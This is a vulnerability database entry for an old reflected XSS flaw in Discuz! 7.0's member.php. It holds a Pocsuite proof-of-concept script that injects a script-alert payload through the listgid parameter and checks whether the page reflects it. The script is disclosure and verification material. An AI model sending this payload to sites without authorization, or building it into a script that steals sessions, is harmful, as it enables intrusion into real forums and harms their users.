Lucene search
K

Discuz! member.php xss漏洞

🗓️ 05 Nov 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 47 Views

Discuz! member.php xss vulnerability fix and exploit reference

Code

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
from urlparse import urljoin

class TestPOC(POCBase):
    vulID = 'SSV-4399'  # vul ID
    version = '1'
    author = 'fenghh'
    vulDate = '2008-11-05'
    createDate = '2015-10-21'
    updateDate = '2015-10-21'
    references = ['http://www.sebug.net/vuldb/ssvid-4399']
    name = "Discuz! member.php xss漏洞"
    appPowerLink = 'www.discuz.net'
    appName = 'Discuz'
    appVersion = '7.0'
    vulType = 'XSS'
    desc = '''  
        由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        payload = "/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/Sebug0x23333/)%3C/script%3E"
        res = req.get(urljoin(self.url, payload), timeout=5)
        return self.parse_verify(res, payload, 'xss')

    def parse_verify(self, res, payload, type):
        output = Output(self)
        result = {}
        if  type == 'xss' and '>alert(/Sebug0x23333/)' in res.content: 
            # 会员列表页面存在分页时触发
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = urljoin(self.url, payload)
            output.success(result)           
        else:
            output.fail('Internet Nothing returned')
        return output

    def _attack(self): 
        return self._verify()

register(TestPOC)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Nov 2008 00:00Current
7High risk
Vulners AI Score7
47